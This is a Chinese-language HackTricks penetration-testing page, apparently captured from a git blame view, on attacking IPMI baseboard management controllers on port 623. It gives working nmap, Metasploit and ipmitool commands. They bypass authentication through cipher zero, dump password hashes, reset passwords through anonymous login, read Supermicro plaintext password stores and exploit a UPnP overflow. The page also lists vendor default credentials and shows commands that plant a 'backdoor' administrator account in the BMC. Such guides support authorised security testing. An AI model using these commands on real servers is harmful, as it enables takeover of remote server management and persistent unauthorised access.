hacktricks/network-services-pentesting/623-udp-ipmi.md

148 lines
8.9 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## 基本信息
### **IPMI 概述**
**[智能平台管理接口 (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** 提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。该技术允许系统管理员远程管理系统,即使在系统关闭或无响应时,特别适用于:
2022-10-02 21:10:53 +00:00
- 操作系统启动前的配置
- 关机管理
- 从系统故障中恢复
2022-10-02 21:10:53 +00:00
IPMI 能够监控温度、电压、风扇速度和电源,同时提供库存信息、查看硬件日志,并通过 SNMP 发送警报。其操作所需的基本条件是电源和局域网连接。
2022-10-02 21:10:53 +00:00
自 1998 年英特尔推出以来IPMI 得到了众多厂商的支持,增强了远程管理能力,特别是 2.0 版本对串行局域网的支持。关键组件包括:
2022-10-02 21:10:53 +00:00
- **主板管理控制器 (BMC)** IPMI 操作的主要微控制器。
- **通信总线和接口:** 用于内部和外部通信,包括 ICMB、IPMB 和各种本地及网络连接接口。
- **IPMI 内存:** 用于存储日志和数据。
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**默认端口**623/UDP/TCP通常在 UDP 上,但也可能在 TCP 上运行)
2023-08-03 19:12:22 +00:00
## 枚举
2023-08-03 19:12:22 +00:00
### 发现
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
您可以**识别**版本使用:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI 漏洞
在 IPMI 2.0 的领域中Dan Farmer 发现了一个重大的安全缺陷,通过 **cipher type 0** 暴露了一个漏洞。这个漏洞在 [Dan Farmer 的研究](http://fish2.com/ipmi/cipherzero.html) 中有详细记录,允许在目标有效用户的情况下,使用任何密码进行未经授权的访问。这个弱点在 HP、Dell 和 Supermicro 等制造商的各种 BMC 中被发现,表明所有 IPMI 2.0 实现中存在广泛的问题。
### **通过 Cipher 0 绕过 IPMI 认证**
要检测这个缺陷,可以使用以下 Metasploit 辅助扫描器:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
利用这个漏洞可以使用 `ipmitool` 来实现,如下所示,允许列出和修改用户密码:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP 认证远程密码哈希检索**
此漏洞允许检索任何现有用户名的加盐哈希密码MD5 和 SHA1。要测试此漏洞Metasploit 提供了一个模块:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI 匿名认证**
许多 BMC 的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。此配置可以被利用来重置使用 `ipmitool` 的命名用户帐户的密码:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI 明文密码**
IPMI 2.0 中的一个关键设计选择要求在 BMC 中存储明文密码以进行身份验证。Supermicro 将这些密码存储在 `/nv/PSBlock``/nv/PSStore` 等位置引发了重大安全隐患:
```bash
2023-08-03 19:12:22 +00:00
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP 漏洞**
Supermicro 在其 IPMI 固件中包含的 UPnP SSDP 监听器,特别是在 UDP 端口 1900 上,引入了严重的安全风险。根据 [Rapid7 的披露](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) 的详细信息Intel SDK for UPnP Devices 版本 1.3.1 中的漏洞允许对 BMC 进行根访问:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
2023-08-03 19:12:22 +00:00
### 暴力破解
**HP 在制造过程中随机生成其** **集成灯光控制 (iLO)** **产品的默认密码**。这一做法与其他制造商形成对比,后者往往使用**静态默认凭据**。以下是各种产品的默认用户名和密码的总结:
- **HP 集成灯光控制 (iLO)** 使用**工厂随机生成的 8 个字符字符串**作为其默认密码,展示了更高的安全级别。
- 像**戴尔的 iDRAC、IBM 的 IMM**和**富士通的集成远程管理控制器**等产品使用易于猜测的密码如“calvin”、“PASSW0RD”带零和“admin”。
- 同样,**Supermicro IPMI (2.0)、Oracle/Sun ILOM**和**华硕 iKVM BMC**也使用简单的默认凭据其中“ADMIN”、“changeme”和“admin”作为它们的密码。
## 通过 BMC 访问主机
对基板管理控制器 (BMC) 的管理访问打开了访问主机操作系统的各种途径。一种简单的方法是利用 BMC 的键盘、视频、鼠标 (KVM) 功能。这可以通过重启主机到根 shell使用 `init=/bin/sh`)或从设置为救援磁盘的虚拟 CD-ROM 启动来实现。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重启主机,这是一个显著的缺点。在不重启的情况下,访问正在运行的主机更为复杂,并且因主机的配置而异。如果主机的物理或串行控制台保持登录状态,可以通过 BMC 的 KVM 或串行通过 LAN (sol) 功能轻松接管,使用 `ipmitool`。探索共享硬件资源的利用,如 i2c 总线和超级 I/O 芯片,是一个需要进一步研究的领域。
## 从主机向 BMC 引入后门
在攻陷一台配备 BMC 的主机后,**可以利用本地 BMC 接口插入后门用户账户**,在服务器上创建持久存在。这一攻击需要在被攻陷的主机上存在**`ipmitool`**并激活 BMC 驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户账户注入 BMC从而绕过身份验证的需要。这一技术适用于包括 Linux、Windows、BSD 甚至 DOS 在内的广泛操作系统。
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
* `port:623`
2022-04-28 16:01:33 +00:00
## References
2022-10-02 21:10:53 +00:00
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}